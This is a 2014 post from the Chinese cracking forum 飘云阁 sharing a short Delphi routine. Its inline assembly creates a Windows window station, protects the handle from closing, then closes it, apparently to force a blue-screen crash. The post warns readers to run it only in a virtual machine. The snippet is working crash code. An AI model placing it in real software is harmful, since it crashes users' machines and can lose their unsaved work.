设为首页收藏本站官方微博
开启辅助访问 切换到窄版

飘云阁

 找回密码
 加入我们

QQ登录

只需一步，快速开始

[x86]PYG官方Dll优雅破解补丁制作工具[x64]PYG官方DLL优雅破解补丁制作工具[x86]PYG官方Exe优雅破解补丁制作工具[x86/x64]Baymax Patch Tools飘云阁工具包(已更新第4季)
返回列表 发新帖
查看: 2874|回复: 0

[Delphi] 蓝屏代码--请在虚拟机测试~~

[复制链接]
飘云
  • TA的每日心情
    难过
    4 天前

    • 签到天数: 11 天

    [LV.3]偶尔看看II
    发表于 2014-2-5 00:36:57 | 显示全部楼层 |阅读模式
    1. procedure TForm1.btn1Click(Sender: TObject);
    2. begin
    3.   asm
    4.     push esi
    5.     push 0
    6.     push $37F
    7.     push 0
    8.     push 0
    9.     call CreateWindowStationW
    10.     push 2
    11.     mov esi,eax
    12.     push 2
    13.     push esi
    14.     call SetHandleInformation
    15.     push esi
    16.     call CloseWindowStation
    17.     xor eax,eax
    18.     pop esi
    19.     retn
    20.   end;
    21. end;
    复制代码


    PYG19周年生日快乐！
    回复

    使用道具 举报

    返回列表 发新帖
    高级模式
    B Color Image Link Quote Code Smilies
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表